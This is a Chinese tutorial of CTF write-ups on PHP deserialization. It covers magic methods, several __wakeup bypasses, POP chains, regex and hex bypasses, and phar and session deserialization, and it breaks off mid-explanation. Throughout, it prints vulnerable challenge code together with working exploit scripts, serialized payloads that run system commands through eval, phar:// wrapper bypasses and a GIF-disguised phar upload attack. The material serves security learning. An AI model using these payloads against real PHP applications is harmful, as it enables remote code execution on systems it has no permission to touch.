PHP反序列化 前置知识 序列化 如果属性权限为 private
,那么序列化后,存储的属性名字为
如果属性权限为 protected
,那么序列化后,存储的属性名字为
方法不会被序列化和反序列化
反序列化过程 1 2 3 4 5 1 找到反序列化字符串规定的类名字 2 实例化这个类,但是不是调用构造方法 3 有了实例化的类对象,对它的属性进行赋值 4 执行魔术方法 5 返回构造好的对象
魔术方法 1 2 1 魔术方法是一类类的方法 2 会在序列化和反序列化及其他特殊情况下,自动执行
魔术方法
调用时机
__construct ()
实例化时调用
__destrct()
销毁时调用
__call()
在对象中调用一个不可访问方法时
__callStatic()
在静态上下文中调用一个不可访问方法时
__get()
读取不可访问(protected 或 private)或不存在的属性的值时
__set()
给不可访问(protected 或 private)或不存在的属性赋值时
__isset()
对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时
__unset()
对不可访问(protected 或 private)或不存在的属性调用 unset() 时
__sleep()
执行 serialize() 时
__wakeup()
执行 unserialize() 时
__toString()
把类当成字符串时
__invoke()
把对象当成函数调用时
__debugInfo()
使用 var_dump, print_r 时
__set_state()
调用var_export()导出类时
__clone()
当对象复制完成时
__autoload()
尝试加载未定义的类
下面还有两个特殊的魔术方法__serialize()
__unserialize()
serialize()
函数会检查类中是否存在一个魔术方法 __serialize()
。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError
错误。
注意 :
如果类中同时定义了 __serialize()
和 __sleep()
两个魔术方法,则只有 __serialize()
方法会被调用。 __sleep()
方法会被忽略掉。如果对象实现了 Serializable
接口,接口的 serialize()
方法会被忽略,做为代替类中的 __serialize()
方法会被调用
__serialize()
的预期用途是定义对象序列化友好的任意表示。 数组的元素可能对应对象的属性,但是这并不是必须的。
相反,unserialize()
检查是否存在具有名为 __unserialize()
的魔术方法。此函数将会传递从 __serialize()
返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性
注意 :
如果类中同时定义了 __unserialize()
和 __wakeup()
两个魔术方法,则只有 __unserialize()
方法会生效,__wakeup()
方法会被忽略
注意 :
此特性自 PHP 7.4.0 起可用
Bypass 属性数量绕过__wakeup
CVE-2016-7124
1 2 php 5 至 php 5.6.25 之间的版本可以绕过 php 7 到 php 7.0.10 之间的版本可以绕过
反序列化字符串中表示属性数量的值 大于 实际属性的数量时 ,wakeup方法会被绕过
例题:攻防世界 unserialize3 源代码
1 2 3 4 5 6 class xctf {public $flag = '111' ;public function __wakeup ( ) {exit ('bad requests' );} ?code=
分析一下,如果我们反序列化的话就会调用__wakeup() 然后就触发 exit('bad requests');
我们只需要属性个数加一即可绕过 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class xctf { public $flag = '111' ; public function __wakeup ( ) { exit ('bad requests' ); } } $a =new xctf ();echo serialize ($a );修改成下面 ?>
引用相等绕过__wakeup 例题 1:[UUCTF 2022 新生赛]ez_unser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php show_source (__FILE__ );class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a =$_GET ['a' ];if (!preg_match ('/test":3/i' ,$a )){ die ("你输入的不正确!!!搞什么!!" ); } $bbb =unserialize ($_GET ['a' ]);
分析一下,有eval函数可以命令执行,但是__wakeup()
会让a的值为空 同时正则匹配不让我们修改属性个数绕过__wakeup()
,这就是个难题
可利用点为 $this->b=$this->c;
,所以我们可以引用赋值绕过__wakeup() payload
1 2 3 4 5 6 7 8 9 10 11 <?php class test { public $a ; public $b ; public $c ; } $t =new test ();$t ->c="system('ls /');" ;$t ->b=&$t ->a;echo serialize ($t );?>
这样即使 a 变成空,也会重新把 c 的值给 b 从而传给 a
例题 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class KeyPort { public $key ; public function __destruct ( ) { $this ->key=False; if (!isset ($this ->wakeup)||!$this ->wakeup){ echo "You get it!" ; } } public function __wakeup ( ) { $this ->wakeup=True; } } if (isset ($_POST ['pop' ])){ @unserialize ($_POST ['pop' ]); }
可以看到如果我们想触发echo必须首先满足:
1 if (!isset ($this ->wakeup)||!$this ->wakeup)
也就是说 要么不给wakeup赋值,让它接受不到 $this->wakeup, 要么控制 wakeup 为 false
因此这里的难点其实就是这个__wakeup()绕过,我们可以使用上面提到过的引用赋值的方法以此将wakeup和key的值进行引用,让key的值改变的时候也改变wakeup的值即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class KeyPort { public $key ; public function __destruct ( ) { } } $keyport = new KeyPort ();$keyport ->key=&$keyport ->wakeup;echo serialize ($keyport );
C 绕过__wakeup
O 标识符代表对象类型,C 标识符代表自定义序列化的对象
Serializable
接口是 PHP 提供的一个接口,用于自定义对象的序列化和反序列化过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php class AAAA implements Serializable { public $name ="aa" ; public $age ="bb" ; public function serialize ( ) { return serialize (array ( 'name' => $this ->name, 'age' => $this ->age )); } public function unserialize ($data ) { $data = unserialize ($data ); $this ->name = $data ['name' ]; $this ->age = $data ['age' ]; } public function __construct ( ) { echo "__construct\n" ; } public function __wakeup ( ) { echo "__wakeup()" ; } public function __destruct ( ) { echo "__destruct\n" ; } } $a = new AAAA ();$b = serialize ($a );echo $b .PHP_EOL; $c = unserialize ($b );var_dump ($c );
1 2 3 4 5 6 7 8 9 10 11 __construct C:4 :"AAAA" :45 :{a:2 :{s:4 :"name" ;s:2 :"aa" ;s:3 :"age" ;s:2 :"bb" ;}} object (AAAA) ["name" ]=> string (2 ) "aa" ["age" ]=> string (2 ) "bb" } __destruct __destruct
这里我们可以看到,序列化后的字符串是以 C 开头的 所以当反序列化时,如果我们传入的字符串是 C 开头的,他就会认为我们的对象是自定义的
如果类实现了 Serializable
接口,那么 unserialize()
会调用 unserialize($data)
方法来恢复对象__wakeup
方法不会被调用
初级 C 绕过
1 https://bugs.php.net/bug.php?id=81151
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class E { public function __construct ( ) { } public function __destruct ( ) { echo "destruct" ; } public function __wakeup ( ) { echo "wake up" ; } } var_dump (unserialize ('C:1:"E":0:{}' ));
1 2 3 4 Warning: Class E has no unserializer in /in/YAje0 on line 17 object (E)} destruct
进阶 C 绕过
在上述的初级绕过中,当我们将 O 换成 C 后,这里生成的序列化字符串被认为是一个可调用对象的字符串 反序列化的时候,它会被转换为一个匿名函数,并成为可调用对象 可调用对象不允许有属性
下面我们看一道题:愚人杯3rd [easy_php]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfshow { public function __wakeup ( ) { die ("not allowed!" ); } public function __destruct ( ) { system ($this ->ctfshow); } } $data = $_GET ['1+1>2' ];if (!preg_match ("/^[Oa]:[\d]+/i" , $data )){ unserialize ($data ); } ?>
这里我们不仅要绕过 __wakeup,还要让 ctfshow 等于 cat /flag 按照之前的办法肯定不行,因为没办法让它带属性
这里就要提到之前说的 Serializable 接口了
C 开头时,他会先检测这里类是否实现了 Serializable 接口 如果有的话,他会将里面的值传入我们重写的 unserialize($data) 方法中
我们可以先看一下哪些原生类实现了 Serializable 接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $classes = get_declared_classes ();$serializableClasses = []; foreach ($classes as $class ) { $reflection = new ReflectionClass ($class ); if ($reflection ->implementsInterface ('Serializable' )) { $serializableClasses [] = $class ; } } foreach ($serializableClasses as $class ) { echo $class . PHP_EOL; }
1 2 3 4 5 6 7 ArrayObject ArrayIterator RecursiveArrayIterator SplDoublyLinkedList SplQueue SplStack SplObjectStorage
于是我们可以利用这些原生类来传属性
payload
1 2 3 4 5 6 7 8 <?php class ctfshow { public $ctfshow ="cat /f*" ; } $A =new ArrayObject ;$A ->a=new ctfshow;echo serialize ($A );?>
1 C:11 :"ArrayObject" :3 :{i:0 ;i:0 ;i:1 ;a:0 :{}i:2 ;a:1 :{s:1 :"a" ;O:7 :"ctfshow" :1 :{s:7 :"ctfshow" ;s:7 :"cat /f*" ;}}}
有的PHP版本输出的是 O 开头,需要手动改成 C
最终输出:not allowed!flag{xxxxxxxxxx}
貌似还是没有完全绕过 __wakeup ,不过可以用来绕过别的 waf
__unserialize 绕过__wakeup
如果类中同时定义了 __unserialize()
和 __wakeup()
两个魔术方法,则只有 __unserialize()
方法会生效,__wakeup()
方法会被忽略
报错绕过 __wakeup
unserialize error calls __destruct before __wakeup
1 https://bugs.php.net/bug.php?id=81153
1 2 3 4 5 6 PHP 7.0.15 - 7.0.33 PHP 7.1.1 - 7.1.33 PHP 7.2.0 - 7.2.34 PHP 7.3.0 - 7.3.28 PHP 7.4.0 - 7.4.16 PHP 8.0.0 - 8.0.3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class D { public $flag =True; public function __get ($a ) { if ($this ->flag){ echo 'flag' .PHP_EOL; }else { echo 'hint' .PHP_EOL; } } public function __wakeup ( ) { $this ->flag = False; echo 'wakeup' ; } } class C { public function __destruct ( ) { echo $this ->c->b; } } @unserialize ('O:1:"C":1:{s:1:"c";O:1:"D":0:{};N;}' );
可以看到反序列化时发生错误,调用完对应的魔术方法后就析构了,绕过了wakeup
PHP issue 绕过__wakeup 通过在反序列化后的字符串中 包含字符串长度错误的变量名 使反序列化在__wakeup之前调用__destruct()函数
注意:wakeup 和 destruct 必须在两个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );class A { public $info ; public function __destruct ( ) { echo "__destruct" .PHP_EOL; } } class B { public $znd ; public function __wakeup ( ) { echo '__wakeup' .PHP_EOL; } } if (isset ($_POST ['data' ])){ @unserialize ($_POST ['data' ]); }
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );class A { public $info ; public function __destruct ( ) { echo "__destruct" .PHP_EOL; } } class B { public $znd ; public function __wakeup ( ) { echo '__wakeup' .PHP_EOL; } } $a = new A ();$b = new B ();$a ->info = $b ;echo serialize ($a );
1 O:1 :"A" :1 :{s:4 :"info" ;O:1 :"B" :1 :{s:3 :"znd" ;N;}}
当我们直接传这个时,回显为
将 4 改为 5 时
将 info 改为 infoo 时
fast-destruct 绕过__wakeup 本质上就是利用 GC回收机制
方法有两种,删除末尾的花括号、数组对象占用指针(改数字)
在PHP中,如果单独执行 unserialize()
函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完 unserialize() 函数时就会执行 __destruct()
方法
而如果将 unserialize()
函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法
我们还是以上面 PHP issue 的代码为例,删去最后的大括号时:
1 O:1:"A":1:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}
DASCTF X GFCTF 2022十月挑战赛 EasyPOP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 <?php highlight_file (__FILE__ );error_reporting (0 );class fine { private $cmd ; private $content ; public function __construct ($cmd , $content ) { $this ->cmd = $cmd ; $this ->content = $content ; } public function __invoke ( ) { call_user_func ($this ->cmd, $this ->content); } public function __wakeup ( ) { $this ->cmd = "" ; die ("Go listen to Jay Chou's secret-code! Really nice" ); } } class show { public $ctf ; public $time = "Two and a half years" ; public function __construct ($ctf ) { $this ->ctf = $ctf ; } public function __toString ( ) { return $this ->ctf->show (); } public function show ( ): string { return $this ->ctf . ": Duration of practice: " . $this ->time; } } class sorry { private $name ; private $password ; public $hint = "hint is depend on you" ; public $key ; public function __construct ($name , $password ) { $this ->name = $name ; $this ->password = $password ; } public function __sleep ( ) { $this ->hint = new secret_code (); } public function __get ($name ) { $name = $this ->key; $name (); } public function __destruct ( ) { if ($this ->password == $this ->name) { echo $this ->hint; } else if ($this ->name = "jay" ) { secret_code::secret (); } else { echo "This is our code" ; } } public function getPassword ( ) { return $this ->password; } public function setPassword ($password ): void { $this ->password = $password ; } } class secret_code { protected $code ; public static function secret ( ) { include_once "hint.php" ; hint (); } public function __call ($name , $arguments ) { $num = $name ; $this ->$num (); } private function show ( ) { return $this ->code->secret; } } if (isset ($_GET ['pop' ])) { $a = unserialize ($_GET ['pop' ]); $a ->setPassword (md5 (mt_rand ())); } else { $a = new show ("Ctfer" ); echo $a ->show (); }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class sorry { public $name ; public $password ; public $key ; public $hint ; } class show { public $ctf ; } class secret_code { public $code ; } class fine { public $cmd ; public $content ; public function __construct ( ) { $this ->cmd = 'system' ; $this ->content = ' /' ; } } $a =new sorry ();$b =new show ();$c =new secret_code ();$d =new fine ();$a ->hint=$b ;$b ->ctf=$c ;$e =new sorry ();$e ->hint=$d ;$c ->code=$e ;$e ->key=$d ;echo (serialize ($a ));
直接传进去毫无疑问会因为die()而终止,这里我们就可以用fast-destruct这个技巧使destruct提前发生以绕过wakeup(),比如我们可以减少一个} :
1 ?pop=O:5 :"sorry" :4 :{s:4 :"name" ;N;s:8 :"password" ;N;s:3 :"key" ;N;s:4 :"hint" ;O:4 :"show" :1 :{s:3 :"ctf" ;O:11 :"secret_code" :1 :{s:4 :"code" ;O:5 :"sorry" :4 :{s:4 :"name" ;N;s:8 :"password" ;N;s:3 :"key" ;O:4 :"fine" :2 :{s:3 :"cmd" ;s:6 :"system" ;s:7 :"content" ;s:9 :"cat /flag" ;}s:4 :"hint" ;r:10 ;}}}
或者在r;10;后面加一个1:
1 ?pop=O:5 :"sorry" :4 :{s:4 :"name" ;N;s:8 :"password" ;N;s:3 :"key" ;N;s:4 :"hint" ;O:4 :"show" :1 :{s:3 :"ctf" ;O:11 :"secret_code" :1 :{s:4 :"code" ;O:5 :"sorry" :4 :{s:4 :"name" ;N;s:8 :"password" ;N;s:3 :"key" ;O:4 :"fine" :2 :{s:3 :"cmd" ;s:6 :"system" ;s:7 :"content" ;s:9 :"cat /flag" ;}s:4 :"hint" ;r:10 ;1 }}}}
都可以实现wakeup绕过
将对象放入数组(如数组a中)的第一个元素中,第二个元素放null
,对数组进行序列化,将数组的下标1改为0 即将对象所在的地址置空,也就提前进行__destruct
了
ctfshow 卷王杯 easy unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php include ("./HappyYear.php" );class one { public $object ; public function MeMeMe ( ) { array_walk ($this , function($fn , $prev ){ if ($fn [0 ] === "Happy_func" && $prev === "year_parm" ) { global $talk ; echo "$talk " ."</br>" ; global $flag ; echo $flag ; } }); } public function __destruct ( ) { @$this ->object ->add (); } public function __toString ( ) { return $this ->object ->string ; } } class second { protected $filename ; protected function addMe ( ) { return "Wow you have sovled" .$this ->filename; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } } class third { private $string ; public function __construct ($string ) { $this ->string = $string ; } public function __get ($name ) { $var = $this ->$name ; $var [$name ](); } } if (isset ($_GET ["ctfshow" ])) { $a =unserialize ($_GET ['ctfshow' ]); throw new Exception ("高一新生报道" ); } else { highlight_file (__FILE__ ); }
__destruct() 方法又叫析构函数,当程序结束销毁的时候自动调用,看下这道题中的代码
1 2 $a =unserialize ($_GET ['ctfshow' ]);throw new Exception ("高一新生报道" );
这里有个throw函数,抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法,这里我们就要想办法在throw函数执行之前调用析构函数
这里利用 GC 回收机制,举个例子:
1 2 3 4 5 6 7 8 9 10 <?php class Demo { public function __destruct ( ) { echo "__destruct" ; } } $a =new Demo ();throw new Error ("this is a test" );
结果并没有执行 __destruct
然后我们把注释取消
发现成功执行了__destruct函数,这也就是利用了 GC 回收机制让这个对象提前销毁
那么这道题我们要怎么绕过呢,这里我们可以利用反序列化的性质来做,反序列化时从左到右的顺序进行重构的,所以我们只要构造出以下类似的结构就行
1 a:2 :{i:0 ;O:4 :"Demo" :0 :{}i:0 ;N;}
这个payload可以由下面这个demo获取得到
1 2 3 4 5 6 7 8 9 10 11 <?php class Demo { public function __destruct ( ) { echo "__destruct" ; } } $a =new Demo ();$b =null ;$c =array ($a ,$b );echo serialize ($c );
即定义一个数组,其中有两个值,第一个为实例化的对象,第二个为另外随便的一个值(这里赋null以外的值都可以),然后会得到 a:2:{i:0;O:4:"Demo":0:{}i:1;N;}
,将其改为 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}
也就是将第二个反序列化的序号改为0,这样就实现了对Demo这个对象的重新赋值,达到了提前是对象摧毁的效果
还可以利用 unset()
主动销毁,这里显然我们不能,所以忽略
现在算是过了第一关了,那我们开始审链子
不难发现我们最后是要调用 one::MeMeMe,然后进入链子的起始点为 one::destruct,顺着起始点往下跳
1 2 3 public function __destruct ( ) { @$this ->object ->add (); }
这里调用了一个add的方法,由此可以跳到 second::__call
进入 second::__call:
此时调用了一个回调函数call_user_func([$this, $func."Me"], $args);
分析一下他具体的调用结果 首先第一个参数[$this, $func."Me"]
这是数组调用类方法的方式,其中$fun
的值为错误访问的那个函数名,也就是add,所以总结下来其实就是访问 second::addMe,然后再关注second::addMe
1 2 3 protected function addMe ( ) { return "Wow you have sovled" .$this ->filename; }
这里将filename的成员变量与一个字符串相连接,很容易想到 __toString
方法,然后就步入到了one::__toString
1 2 3 4 public function __toString ( ) { return $this ->object ->string ; }
这里访问了string属性,可以想到 __get
,然后跳到 third::__get
1 2 3 4 public function __get ($name ) { $var = $this ->$name ; $var [$name ](); }
分析一下,变量 var 的值为 $this->$name,也就是 $this->string,然后调用一个方法,其中name的值不可控,var的值可以通过修改 string 的属性来控制,也就是说这里就能动态调用了
梳理一下链子如下
1 2 3 4 5 6 one::__destruct => second::__call => second::addMe => one::__toString => third::__get => one:MeMeMe
链子找到了,就要想办法实现,这里有个问题就是这里存在反复调用的问题,也就是one对象到second对象,然后又调回来,这样可能不能反复赋值,因为这样的话就进入死循环了,所以我们可以实例化两个one对象进入
具体的实现方式exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Copy<?php class one { public $object ; public function __construct ( ) { $this ->object =new second (); } } class second { public $filename ; } class third { private $string ; } $a =new one ();$b =new one ();$c =new second ();$d =new third ("haha" );$b ->object =$d ;$c ->filename=$b ;$a ->object =$c ;echo urlencode (serialize ($a ));
然后就是想办法进入到 one::MeMeMe 方法,然后拿到 flag
重点看下这个函数
1 2 3 4 5 6 7 8 9 10 public function MeMeMe ( ) { array_walk ($this , function($fn , $prev ){ if ($fn [0 ] === "Happy_func" && $prev === "year_parm" ) { global $talk ; echo "$talk " ."</br>" ; global $flag ; echo $flag ; } }); }
array_walk
函数的作用就是遍历数组元素进入函数,其中 $fn
为值,$prev
为键
1 public $year_parm =array ("Happy_func" );
接下来就是想办法怎么在 third::__get() 里面怎么调用 one::MeMeMe 最开始我想的是直接传入”one::MeMeMe”,结果发现这样就不能自己设置成员属性了,所以这里我改用了另外一种方法,使用数组调用类方法
,也就是传入这个payload
然后再exp里面添加上面成员属性就可以了
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );class one { public $object ; public $year_parm =array (0 =>"Happy_func" ); } class second { public $filename ; } class third { private $string ; public function __construct ( ) { $this ->string =array ("string" =>[new one (),"MeMeMe" ]); } } $a =new one ();$b =new one ();$c =new second ();$d =new third ("haha" );$b ->object =$d ;$c ->filename=$b ;$a ->object =$c ;$n =null ;$payload =array ($a ,$n );echo urlencode (serialize ($payload ));
然后再修改一下,把最后的 1 改为 0
1 2 3 4 5 //原来的payload解码后 a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;N;} //修改后的payload解码后 a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:0;N;}
1 a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D
+ 绕过正则匹配 还是以 愚人杯3rd [easy_php] 举例
1 if(!preg_match("/^[Oa]:[\d]+/i", $data))
检测以 O
(对象)或 a
(数组)开头,后跟冒号和一个或多个数字的字符串
我么们只需要将 O:数字
改为 O:+数字
就可以绕过上面的过滤
也可以用刚才说过的 C 绕过
数组绕过 当字符串禁止以 O 开头时,我们可以将恶意对象放在数组中
16进制绕过 反序列化后的字符串 不能出现某个关键单词时,可以使用16进制绕过,前提是要把 s 换成 S
1 2 O:8 :"backdoor" :1 :{s:4 :"name" ;s:10 :"phpinfo();" ;} O:8 :"backdoor" :1 :{S:4 :"n\97me" ;s:10 :"phpinfo();" ;}
高级反序列化 phar 反序列化 phar
(PHP Archive)类似于 Java 的 jar
包,功能:
1 2 3 多个 php 合并为独立压缩包 不解压就能执行里面的 php文件 支持 web 服务器和命令行
phar 文件结构
stub
stub的基本结构:xxx<?php xxx;__HALT_COMPILER();?>
前面内容不限,但必须以__HALT_COMPILER();?>
来结尾 否则phar扩展将无法识别这个文件为phar文件
manifest
Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存 这里就是漏洞利用的关键点
contents
被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的 因为我们利用这个漏洞主要是为了触发它的反序列化
signature
phar的最后有一段signature,是phar的签名,放在文件末尾,如果我们修改了文件的内容,之前的签名就会无效,就需要更换一个新的签名
来个小例子,根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的 phar.readonly 选项设置为Off,否则无法生成phar文件
写一个 phar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class TestObject { } $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new TestObject (); $o -> data='hu3sky' ; $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
访问后,会生成一个 phar.phar 在当前目录下 用 winhex 打开,可以明显的看到 meta-data
是以序列化的形式存储的
1 2 3 4 5 6 7 8 9 <?php class TestObject { function __destruct ( ) { echo $this -> data; } } include ('phar://phar.phar' );?>
再访问这个页面,会输出 hu3sky
,即发生了反序列化
php一大部分的文件系统函数在通过 phar://
伪协议解析phar文件时,都会将 meta-data 进行反序列化
受影响函数
fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fileperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable
parse_ini_file
copy
unlink
stat
readfile
具体原理可以看:Phar与Stream Wrapper造成PHP RCE的深入挖掘
Bypass
前缀不能出现 phar
1 2 3 4 5 compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar
验证文件格式
1 $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
检查后缀
1 将 phar.phar 更名为 phar.gif 不影响 phar 文件的最终执行
例题
upload_file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if (($_FILES ["file" ]["type" ]=="image/gif" )&&(substr ($_FILES ["file" ]["name" ], strrpos ($_FILES ["file" ]["name" ], '.' )+1 ))== 'gif' ) { echo "Upload: " . $_FILES ["file" ]["name" ]; echo "Type: " . $_FILES ["file" ]["type" ]; echo "Temp file: " . $_FILES ["file" ]["tmp_name" ]; if (file_exists ("upload_file/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " already exists. " ; } else { move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload_file/" .$_FILES ["file" ]["name" ]); echo "Stored in: " . "upload_file/" . $_FILES ["file" ]["name" ]; } } else { echo "Invalid file,you can only upload gif" ; }
upload_file.html
1 2 3 4 5 6 7 8 <html > <body > <form action ="http://localhost/upload_file.php" method ="post" enctype ="multipart/form-data" > <input type ="file" name ="file" /> <input type ="submit" name ="Upload" /> </form > </body > </html >
un.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $filename =@$_GET ['filename' ];echo 'please input a filename' .'<br />' ;class AnyClass { var $output = 'echo "ok";' ; function __destruct ( ) { eval ($this -> output); } } if (file_exists ($filename )){ $a = new AnyClass (); } else { echo 'file is not exists' ; } ?>
该环境存在两个点,第一存在文件上传,只能上传 gif 图
第二存在魔术方法__destruct()
以及文件操作函数file_exists()
而且在AnyClass类中调用了eval,以此用来命令执行
根据 un.php 在本地写一个生成 phar 的 php文件,在文件头加上 GIF89a
绕过 gif 然后访问本地的这个 php 文件后,生成 phar.phar
,修改后缀为 gif
,上传 然后访问 un.php,传入filename,利用 file_exists,使用phar://执行代码
poc.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php class AnyClass { var $output = '' ; } $phar = new Phar ('phar.phar' );$phar -> stopBuffering ();$phar -> setStub ('GIF89a' .'<?php __HALT_COMPILER();?>' );$phar -> addFromString ('test.txt' ,'test' );$object = new AnyClass ();$object -> output= 'phpinfo();' ;$phar -> setMetadata ($object );$phar -> stopBuffering ();
修改后缀为 .gif
访问 un.php
1 un.php?filename=phar://phar.gif/test
session 反序列化 当 session_start
被调用或者 php.ini
中 session.auto_start
为 1 时 PHP 内部会调用会话管理器,访问用户 session 被序列化后,存储到指定目录
默认位置是 /tmp/sess_PHPSESSID
session.serialize_handler 处理器
处理器
对应储存格式
php
键名 + 竖线 + 经过 serialize( ) 函数反序列处理的值
php_serialize (php>=5.5.4)
经过 serialize( ) 函数反序列处理的数组
php_binary
键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize( ) 函数反序列处理的值
例题
buuctf bestphp's revenge
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$b = 'implode' ;call_user_func ($_GET ['f' ], $_POST );session_start ();if (isset ($_GET ['name' ])) { $_SESSION ['name' ] = $_GET ['name' ]; } var_dump ($_SESSION );$a = array (reset ($_SESSION ), 'welcome_to_the_lctf2018' );call_user_func ($b , $a );?>
存在 flag.php,访问
1 only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
那么先来分析一下:
第四行存在一个: call_user_func($_GET['f'], $_POST);
call_user_func
是一个回调函数,第一个参数是被调用的函数,第二个被调用函数的参数
这里的回调函数的第二个参数是$_post
,是一个post数组,这里我们可以使用extract
进行变量覆盖 第二个call_user_func函数也一样。虽然$b的值是固定的,但是同样可以进行变量覆盖
session_start(); if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name']; }
这里存在session反序列化漏洞
然后看一下 flag.php 要求本地才能得到 flag 那么这里就要利用ssrf,可以借助php原生类SoapClient
